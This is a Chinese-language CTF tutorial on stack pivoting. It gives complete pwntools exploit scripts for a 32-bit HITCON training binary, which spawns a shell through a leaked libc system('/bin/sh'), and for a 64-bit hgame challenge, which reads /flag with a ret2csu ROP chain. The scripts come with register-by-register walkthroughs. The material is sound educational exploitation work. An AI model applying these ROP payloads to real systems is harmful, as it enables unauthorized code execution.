32位以及64位棧遷移的具體分析與學習

2020-12-18 湖南蟻景

前言

這次來學習下棧遷移技術吧,全片構成為先了解原理,然後再分別以 32位程序及64位程序以圖文的形式來具體學習!

原理

棧遷移正如它所描述的,該技巧就是劫持棧指針指向攻擊者所能控制的內存處,然後再在相應的位置進行 ROP。我們可利用該技巧來解決棧溢出空間大小不足的問題。

我們進入一個 函數的時候,會執行call指令

call func(); //push eip+4; push ebp; mov ebp,esp;

call func() 執行完要退出的時候要進行與call func相反的操作(恢復現場)維持棧平衡!

leave; //mov esp,ebp; pop ebp;

ret ; // pop eip

棧遷移 的核心思想就是 將棧 的 esp 和 ebp 轉移到一個 輸入不受長度限制的 且可控制 的 址處,通常是 bss 段地址! 在最後 ret 的時候 如果我們能夠控制得 了 棧頂 esp指向的地址 就想到於 控制了 程序執行流!

這裡有個 很好的描述,建議大家可以去看下:留言或私信獲取連結

32位程序 棧遷移

這裡我拿 HITCON-Training-master 中的lab 6進行超詳細的分析,希望能給在學這個內容的興趣者們提供幫助!

file migration

ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked,

interpreter /lib/ld-,for GNU/Linux 2.6.32,

BuildID[sha1]=e65737a9201bfe28db6fe46f06d9428f5c814951, not stripped

checksec migration

Arch: i386-32-little

RELRO: Full RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE (0x8048000)

開啟了 NX保護的32位的elf程序

拖入ida:

int __cdecl main(int argc, const char **argv, const char **envp)

{

char buf; // [esp+0h] [ebp-28h]

if ( count != 1337 )

exit(1);

++count;

setvbuf(_bss_start, 0, 2, 0);

puts("Try your best :");

return read(0, &buf, 0x40u); //存在棧溢出 漏洞

}

程序流程很簡單我們想棧中最多輸入 0x40 字節內容,然後停止 ! 程序不循環!

我們進入一個函數的時候,會執行 call 指令

call func(); //push eip+4; push ebp; mov ebp,esp;

call func()執行完要退出的時候要進行與call func 相 反 的 操作( 恢復現場)維持棧平衡!

leave; //mov esp,ebp; pop ebp;

ret ; // pop eip

我們首先先把完整的exp放上來然後分步詳細地對其進行講解!

#coding:utf8

from pwn import*

context.log_level="debug"

p = process('./migration')

libc = ELF('/lib/i386-linux-gnu/libc.so.6')

elf = ELF('./migration')

read_plt = elf.symbols['read']

puts_plt = elf.symbols['puts']

puts_got = elf.got['puts']

read_got = elf.got['read']

buf = elf.bss() + 0x500

buf2 = elf.bss() + 0x400

pop_ebx_ret = 0x804836d

pop_esi_edi_ebp_ret = 0x8048569

leave_ret = 0x08048418 #ida 中 查看

puts_libc = libc.symbols['puts']

system_libc = libc.symbols['system']

binsh_libc = libc.search("/bin/sh").next()

log.info("read_plt:"+hex(read_plt))

log.info("puts_plt:"+hex(puts_plt))

log.info("puts_got:"+hex(puts_got))

log.info("read_got:"+hex(read_got))

log.info("buf:"+hex(buf))

log.info("buf2:"+hex(buf2))

log.info("pop_ebx_ret:"+hex(pop_ebx_ret))

log.info("pop_esi_edi_ebp_ret:"+hex(pop_esi_edi_ebp_ret))

log.info("leave_ret:"+hex(leave_ret))

log.info("puts_libc:"+hex(puts_libc))

log.info("system_libc:"+hex(system_libc))

#gdb.attach(p,'b *0x080484EA')

p.recvuntil("Try your best :\n")

log.info("***第一個講解:將棧中 esp,ebp 轉移到 bss 地址 處*********************")

payload_1 = 'a'*0x28 + p32(buf) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(buf) + p32(0x100)

p.send(payload_1)

log.info("*****第二個講解:洩露libc_base********************")

payload_2 = p32(buf2) + p32(puts_plt) + p32(pop_ebx_ret) + p32(puts_got) + p32(read_plt) + p32(leave_ret)

payload_2+= p32(0) + p32(buf2) + p32(0x100)

p.send(payload_2)

puts_add = u32(p.recv(4))

libc_base = puts_add - puts_libc

log.info("libc_base:"+hex(libc_base))

system_add = libc_base + system_libc

log.info("system_add:"+hex(system_add))

binsh_addr = libc_base + binsh_libc

log.info("**************獲得shell*********************")

payload_3 = p32(buf) + p32(system_add) + 'bbbb' + p32(binsh_addr)

p.send(payload_3)

p.interactive()

這個程序的gadget很少,但剛剛夠用:

$ ROPgadget --binary migration --only 'pop|ret'

Gadgets information

============================================================

0x0804856b : pop ebp ; ret

0x08048568 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret

0x0804836d : pop ebx ; ret

0x0804856a : pop edi ; pop ebp ; ret

0x08048569 : pop esi ; pop edi ; pop ebp ; ret

0x08048356 : ret

0x0804842e : ret 0xeac1

Unique gadgets found: 7

運行後的

講解 1

payload_1 = 'a'*0x28 + p32(buf) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(buf) + p32(0x100)

p.send(payload_1)

我們可以往棧上輸入0x40位元組內容,從ida中可以知道我們其實當輸入 0x28位元組內容之後,如果再輸入就是要覆蓋ebp地址了,接著是ret_addr.輸入輸入到棧上的對應關係就是這個樣子:

EBP:0xff8845b8

ESP: 0xff884590

leave; //mov esp,ebp; pop ebp;

ret ; // pop eip 因為pop出棧 了,所以ESP地址在這裡 也會 +4

所以,執行完 這兩條命令後,

EBP:0x804a50c //即目前我們 ebp 已經被轉移到 bss_addr+0x500處了!

ESP: 0xff8845b8+4 +4=0xff8845c0

注意,執行完後 ret 指令 使得 程序返回到了0x8048380 處然後 執行 read_plt(0,buf,0x100) 去了 !

所以 我們是在向 buf:0x804a50c( bss_addr+0x500)即 ebp 地址處 寫入 payload_2 後才會 返回 ret去執行當前棧頂地址處的 leave //這也是 圖中說 待會的 原因!

所以此時 0x804a50c處已經被寫入了buf2 = elf.bss() + 0x400 即 0x804a40c

然後去執行棧頂處的 leave

leave; //mov esp,ebp; pop ebp;

ret ; // pop eip 因為pop出棧 了,所以ESP地址在這裡 也會 +4

猜測執行過後的結果為下面的樣子:

esp: 0x804a50c - 4-4 = 0x804a514

ebp: 0x804a40c

看下面截圖,發現 符合我們的 推測!

圖中 0x804838c(put_plt 的地址) 是我們 payload_2中發送的內容 。

這裡我們要特別注意一點,在leave 執行的時候,(看它本質)當 mov esp,ebp 後就已經實現將 esp 控制在 ebp處了,即再執行 ret 命令的話,就已經完成了 將eip 控制在 一個輸入不受長度限制且可 rwx 處的地址了,那麼 此時 leave 本質中的 pop ebp 就是多餘的了嗎?

嗯...,因為目前我們還只是完成了棧的一次 遷移,還沒有進行攻擊呢,要想攻擊,我們還得 獲得 libc 加載的基地址,繼而拿到 system 函數加載地址和 '/bin/sh\x00'字符串 地址才可以 !

於是我們需要接著利用這個 pop ebp 指令,向 ebp 傳值 buf2(0x8049fe8)接著遷移,目的是利用 puts函數洩露 puts_got.

講解二:

payload_2 = p32(buf2) + p32(puts_plt) + p32(pop_ebx_ret) + p32(puts_got) + p32(read_plt) + p32(leave_ret)

payload_2+= p32(0) + p32(buf2) + p32(0x100)

p.send(payload_2)

順著上面接著分析,此時程序在執行 puts(puts_got) , 我們可以利用程序輸出的結果 (puts函數在內存中的加載地址)進而計算出 libc加載的基地址(上面說過了,哈)。

這裡的 pop_ebx_ret 的作用呢 其實就是把 p32(puts_got) 給從棧中 取出來,進而實現 接下來 執行 read_plt(0,buf,0x100) 函數 構造 最後的攻擊代碼,即我們的 payload_3。

payload_3 = p32(buf) + p32(system_add) + 'bbbb' + p32(binsh_addr)

所以再當執行到 payload_2 中的 leave_ret 時buf2 (0x804a40c)處 即 ebp的地址已經 寫入了 0x804a50c (buf)

read函數結束後,我們又要接著執行,我們構造的leave_ret 了

leave; //mov esp,ebp; pop ebp;

ret ; // pop eip 因為pop出棧 了,所以ESP地址在這裡 也會 +4

推測執行後:

ebp=0x804a50c

esp= 0x804a40c+4 +4 =0x804a414

這裡 leave 本質中的 pop ebp 就是 其實 就是把 0x804a50c又賦值給ebp 了

我們最後來看下 payload_3 leave指令完成後 ret當 棧頂 system_addr處,

payload_3 = p32(buf) + p32(system_add) + 'bbbb' + p32(binsh_addr)

即可以直接執行拿到shell 了!

64位 棧遷移

理解 32的棧遷移後 64位 就容易理解了

它們原理其實和32位程序差不多,最大的區別應該就是它們調用函數時傳參的方式不一樣!

32位 是將參數 依次 從右向左 放入棧中 。

64位程序 傳參的時候是 從左到右 依次放入 寄存器:rdi,rsi,rdx,rcx,r8,r9 ,當參數大於等於 7 的時候 後面參數會依次 從右向左 放入棧中!

在64位棧遷移的姿勢常會使用 libc_csu_init 中的 gadgets,下面這題 hgame week3 中的 ROP 就是這樣!這裡就主要講其中的棧遷移的部分了!

這題其實 我沒有做得出來,是比賽結束後 看大考撈的 博客才 復現出來的,我太弱了!參考:大佬博客!!!

首先 拖入ida:

ida 中看,我們可以執行兩次輸入,第一次 向bss 段做多可寫 0x100位元組的內容!

第二次向棧中 最多 輸入 0x60位元組內容 ,存在 棧溢出,可覆蓋

rbp 和ret_addr但 因為沙箱 原因,禁用 用了 execve 函數,我們於是 可以利用 利用ORW直接讀flag文件,溢出空間 但太小 這裡我們 考慮 棧遷移 到bss 段上 然後在rop攻擊!

首先打開伺服器中 flag文件然後再把裡面的內容給 列印到屏幕上!

#coding:utf8

from pwn import *

context(arch="amd64",os='linux',log_level="debug")

p = process('./ROP')

#p = remote('47.103.214.163',20300)

elf = ELF('ROP')

puts_plt = elf.plt['puts']

open_got = elf.got['open']

read_got = elf.got['read']

leave_ret = 0x40090D

buf = 0x6010A0 #ida

pop_rdi_ret = 0x400A43 #ROPgadget --binary ROP --only "pop|ret"

pop_rbx_rbp_r12_r13_r14_r15_ret = 0x400A3A # csu_gadget 第二段

FLAG = elf.bss()+0x200

print hex(elf.bss())

log.info("puts_plt:"+ str(hex(puts_plt)))

log.info("open_got:"+ str(hex(open_got)))

log.info("read_got:"+ str(hex(read_got)))

log.info("leave_ret:"+ str(hex(leave_ret)))

log.info("buf:"+ str(hex(buf)))

log.info("pop_rdi_ret:"+ str(hex(pop_rdi_ret)))

log.info("pop_rbx_rbp_r12_r13_r14_r15_ret:"+ str(hex(pop_rbx_rbp_r12_r13_r14_r15_ret)))

log.info("FLAG:"+ str(hex(FLAG)))

print "****************************************************************************************"

#gdb.attach(p)

p.recvuntil('It's just a little bit harder...Do you think so?')

payload = '/flag\x00\x00\x00'

payload += p64(pop_rbx_rbp_r12_r13_r14_r15_ret)+p64(0)+p64(1)+p64(open_got)+p64(0)+p64(0)+p64(buf)+p64(0x400A20)+2*p64(0)+p64(1)+p64(0)*(6+1-3)

payload += p64(pop_rbx_rbp_r12_r13_r14_r15_ret+2)+p64(read_got)+p64(0x20)+p64(FLAG)+p64(4)+p64(0x400A20)+2*p64(0)+p64(1)+p64(0)*(6+1-3)

payload += p64(pop_rdi_ret)+p64(FLAG)+p64(puts_plt)

p.send(payload)

p.recvuntil('\n')

p.recvuntil('\n')

payload_2 = 'U'*0x50 + p64(buf)+p64(leave_ret) #棧遷移 關鍵!是不是和32 位的棧遷移利用驚奇的相似,利用原理都是一樣的

p.sendline(payload_2)

p.recv(100)

#p.close()

p.interactive()

ida中 最後一個read 函數 存在棧溢出漏洞,我們控制 ebp從而進行棧遷移當我們發送 payload_2 後

buf 就覆蓋了原本的 rbp 的內容,而leave_ret 就覆蓋了 原本的ret_addr 處的內容 !看下圖,

這裡便是實現了執行 2 次 leave ,(在本來程序結束前有執行了一次)達到棧遷移的實現!

執行第一次 leave的 時候 重點觀察上圖中 黃色框框 中的變化!

leave; //mov rsp,rep; pop rbp; 因為pop ebp,所以 rsp 要+8

ret ; // pop rip

當執行過leave後推測

rsp:rsp=0x7ffda85406b0+8 即 0x7ffda85406b8

rbp:rbp = 0x6010a0

驗證下:

哦哦,上圖執行ret後,因為本質 是pop rip ,所以rsp + 8

rsp:rsp=0x7ffda85406b8+8 即 0x7ffda85406c0

rbp:rbp = 0x6010a0

所以 當接下來 ret 到棧頂位置指向的地址 0x40090d ,便又要執行一次 leave,在這個leave後仍然 有個 ret 。

繼續推測下 執行這個(我們構造的) leave 後的 rsp 和 rbp 吧 !

rsp:rsp=0x6010a0+8 即 0x6010a8

rbp:rbp = 0x67616c662f //此為 第一個payload 第一個的 8位元組內容

然後 ret

rsp:rsp=0x6010a8+8 即 0x6010b0 //(buf+16)

rbp:rbp = 0x67616c662f //此為 第一個payload 第一個的 8位元組內容

所以,基於上面分析,再執行一次 leave 便可以將使得 rsp 的地址位於 bss段上去了,然後再ret 返回到 rsp執行到地址內容,就實現了一次棧遷移了。

現在 的時候,我們就可以幾乎沒有輸入長度的限制而去構造rop了,然後便可以利用rop 攻擊鏈把flag中 文件 open到 文件操作符 4 中(因為前面程序已經用 open 打開一次some_life_experience了),

為了接下來大家理解學習通常 ,我把上第一個 payload 放在這裡

payload = '/flag\x00\x00\x00'

payload += p64(pop_rbx_rbp_r12_r13_r14_r15_ret)+p64(0)+p64(1)+p64(open_got)+p64(0)+p64(0)+p64(buf)+p64(0x400A20)+2*p64(0)+p64(1)+p64(0)*(6+1-3)

payload += p64(pop_rbx_rbp_r12_r13_r14_r15_ret+2)+p64(read_got)+p64(0x20)+p64(FLAG)+p64(4)+p64(0x400A20)+2*p64(0)+p64(1)+p64(0)*(6+1-3)

payload += p64(pop_rdi_ret)+p64(FLAG)+p64(puts_plt)

這個主要就說再說下payload中的 0x400A20其實就是 libc_csu_init gadget中的 0x400A44 返回到的地址處!為了實現對參數的賦值。這是棧溢出中的ret2csu 具體 可在ctfwiki中 學下

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium-rop-zh/

400a3a處 執行完 ret 返回 到400A20

到 call qword[r12 + rbx*8] 因為 rbx被我們值為 0了 相當於 執行 open("/flag",0,0)了。

所以 會返回 4 賦值給rax ,因為 在程序最開始 已經使用open函數 打開 一次some_life_experience文件了。

因為 rbx+1 = rbp 所以在地址 0x400a29處並 不會進行 call 操作,繼續向下 執行,也就是意味 著 我們可以 再次構造。

就是 構造 再從文件 操作符 4 read 到 flag 地址處,最後 再調用 puts 函數 把它 列印到屏幕上!因為 主要講 棧遷移的 ,後面就不說了,大家可以自己調試學習下。

多調試

這次 主要是學習 棧遷移的,建議 初學者的話,親自多調試調試或者 在紙上 用筆 畫一畫,更有助理解,我最初學這部分時也是迷瞪好久,希望可以 這篇可以 給你們帶來些 幫助!

32位&64位棧遷移的學習 合天網安實驗室相關實驗:高級棧溢出技術—ROP實戰

相關焦點

  • win10系統中32位與64位的區別
    win10系統中32位和64位有什麼區別?選擇合適的系統位數,不僅可以避免系統的重新安裝問題,而且可以提高計算機的運行速度。我已經理清了32位和64位win10系統之間的區別。那麼32位和64位有什麼區別呢?今天小編就為大家分享win10系統的32位和64位知識32位系統是為32位計算機開發的,以滿足普通用戶的需要。但隨著技術的飛速發展,64位系統得到了廣泛的應用。一些朋友對32位和64位win10系統的區別很好奇。
  • 電腦系統選擇32位好,還是64位的好呢?
    先說結論:64位好微軟自從win7系統開始,就分為64位和86位(即32位),許多用戶在升級win10系統時在想如何選擇作業系統,選32位還是64位,其實對於用戶來說32位還是64位區別並不是很大的,選擇什麼位的作業系統是由用戶的硬體配置而決定的
  • 淺析棧溢出遇到的坑及繞過技巧
    0x00前言對於剛開始入門pwn的萌新來說可能會遇到一些坑,這裡我就來總結一下我之前做棧溢出的時候遇到的兩種坑以及繞過技巧,具體我會通過例題來講解,希望對此時正在入門的pwn的萌新能帶來一些幫助。0x01繞過canarycanary是linux下的保護機制,它會保存在棧的某個位置上,一般來說64位的話會在rbp-0x8的位置,32位則在ebp-0x4的位置。當我們進行棧溢出的時候如果覆蓋了canary值,程序就會調用stack_chk_fail來列印報錯信息。
  • Linux後端程式設計師必備技能之函數棧
    本文以Linux 64位作業系統下C語言開發為例,介紹應用程式調用棧的實現原理,並通過一個實例和GDB工具具體分析一下某個程序的調用棧內容。在介紹具體的調用棧之前,我們先介紹一些基礎知識,這些知識是理解後續函數調用棧的基礎。X86 CPU的寄存器CPU的寄存器是需要了解的基礎知識,這是因為在X64體系中函數的參數是通過寄存器傳遞的。
  • 64位系統究竟牛在哪裡?
    32位處理器每次最多處理4Byte(32bit),同理,64位處理器每次最多處理 8Byte(64bit) 。32位架構的CPU數據總線寬度是32位,每次可以傳輸32位數據,可以計算4個字節。64位架構的CPU數據總線寬度是64位,每次可以傳輸64位數據,可以計算8個字節。
  • 系統32位64位內存區別圖文教程,電腦內存顯示不全使用4G以上內存
    今天給大家講一下系統32位和64位的區別,32位和64位最大的主要區別是,一是內存上支持的區別,二是軟體遊戲支持的區別,在32位的系統上,我們不能運行64位的軟體和程序,現在有的軟體和遊戲是
  • 64位版本為什麼叫amd64,而不是intel64
    「x86-64」1999由AMD設計,AMD 首次公開 64 位集以擴充給 IA-32,稱為 x86-64(後來改名為 AMD64)。 AMD64架構在IA-32上新增了64位寄存器,併兼容早期的16位和32位軟體,可使現有以x86為對象的編譯器容易轉為AMD64版本。
  • 揭開用戶疑慮 實測32位系統是否到盡頭
    軟體開發商們既要保護到依然使用32位系統的用戶,也要為未來64位系統的普及著想,在普遍情況下,目前絕大多數的用戶已經跟隨著平臺配置的增高選擇了64位系統,但依然執著使用32位Win7甚至XP系統的用戶以被部分軟體商下了最後通牒:我們只承認64位系統,你懂得。
  • VC運行庫下載_VC運行庫官方下載「32位|64位」-太平洋下載中心
    vc運行庫提供了C、標準C++、ATL、MFC、OpenMP以及MSDIA等類庫的運行支持。在支持並行配件的作業系統上,支持並行部署模式的類庫(CRT、SCL、ATL、MFC、OpenMP)將會被安裝到WinSxS文件夾。
  • 解決部分應用程式在64位機器下不能正常運行的小技巧
    一般情況下,32位作業系統下註冊32位控制項,64位作業系統下註冊64位控制項,系統運用沒有什麼問題,容易出問題的是在64位作業系統使用32位控制項。這個時候需要引起注意的是,在win7及以上版本Windows作業系統下,有兩個版本的Regsv32.exe文件。
  • 教你查看手機上是否裝有32位APP
    iOS11的發布進一步加速了對蘋果32位APP的淘汰步伐。而目前蘋果在App Store內已經停止響應32位APP的搜索結果。預計在iOS11正式版發布後,蘋果將會直接停止對32位APP的支持。作為用戶的我們,該如何查看自己的手機是否裝有32位APP呢?
  • 32位CPU不支持4GB+內存?終於搞懂了
    簡單的說,CPU位寬指的是一個時鐘周期內CPU能處理的二進位位數,如8086 CPU是16位的,可以一次處理2個字節(16個bit),80386 CPU是32位,能一次處理4個字節,目前的CPU基本上64位的了,一次能處理
  • DNF韓服也要上64位了!被三覺壓垮最後一根稻草?
    我們將分享64位客戶端開發的進度。 許多冒險家會一直期望64位客戶端的應用,但是我們將解釋應用延遲的原因,必要性的原因以及應用時的改進。 ■ 難以支持64位客戶端的原因支持64位客戶端非常困難的主要原因有兩個。
  • 深入理解 Go map:賦值和擴容遷移
    正式開始我們的研討之旅吧 :)賦值m := make(map[int32]string)m[0] = "EDDYCJY"函數原型在 map 的賦值動作中,依舊是針對 32/64 位、string、pointer 類型有不同的轉換處理,總的函數原型如下:
  • ARM版Win10要支持64位應用,這意味著什麼?
    事實上,微軟之前曾推出過ARM版的Windwos10,但是不堪重用,因為它只運行32位應用。目前,市面上大部分的軟體不再推出32位版本的應用,基本上都是只有64位版本,例如谷歌的Chrome瀏覽器、Adobe的Creative Suite等。簡單點來講,就是32位應用正在被時代所淘汰。
  • 世界上第一款64位遊戲機
    提到64位主機遊戲機我們可能首先想到的就是任天堂的n64遊戲機,n64的發售時間是1996年,是世界上最成功的遊戲機之一,期間發售的塞爾達傳說時之笛更是獲得了滿分的評價。然而我們今天的主角並不是它,而是一個並不是很成功的遊戲機——雅達利美洲豹。
  • 破解入門:如何編寫一個Linux 64位軟體註冊機
    本文僅供安全學習與教學用途,禁止任何非法利用相信大家對註冊機這詞一定不陌生,由於一些軟體涉及版權問題,要完全使用的話需要註冊,或者有試用期限限制,或者只有註冊之後才可以享受全功能。目前大部分有關於破解的資料都是基於X86架構的,而對於X64架構的破解資料卻是比較少。
  • ARM版本Wins 10終於推出64位模擬器
    ARM版本Wins 10終於推出64位模擬器 微軟終於準備讓Windows 10 on ARM以模擬的方式支持x86架構的64位App,而不僅只能仿真32位的App。
  • 4G全模64位將成千元智能機標配
    驍龍210處理器的定位是4G LTE的入門級產品,可以支持64位,800萬像素的攝像頭以及快速充電技術,而且支持高端4G晶片才有的載波聚合技術。對競爭者來說,最有殺傷力的是它支持多模多頻的RF360前端解決方案,這使中低端晶片更好地適配4G LTE網絡。